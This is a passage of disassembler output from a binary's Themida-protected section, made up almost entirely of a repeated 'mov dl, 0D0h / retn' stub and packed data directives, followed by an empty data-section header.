mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 0E4h
dd 100h dup(0E3342F80h), 88CF2F80h, 137h dup(88CFF608h)
dd 0CCCCCC08h, 8E1h dup(0CCCCCCCCh), 0CCCCCCh, 3D7h dup(0)
Themida_ ends
; Section 5. (virtual address 001BD000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 001BD000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 5BD000h
align 2000h
_idata2 ends
end start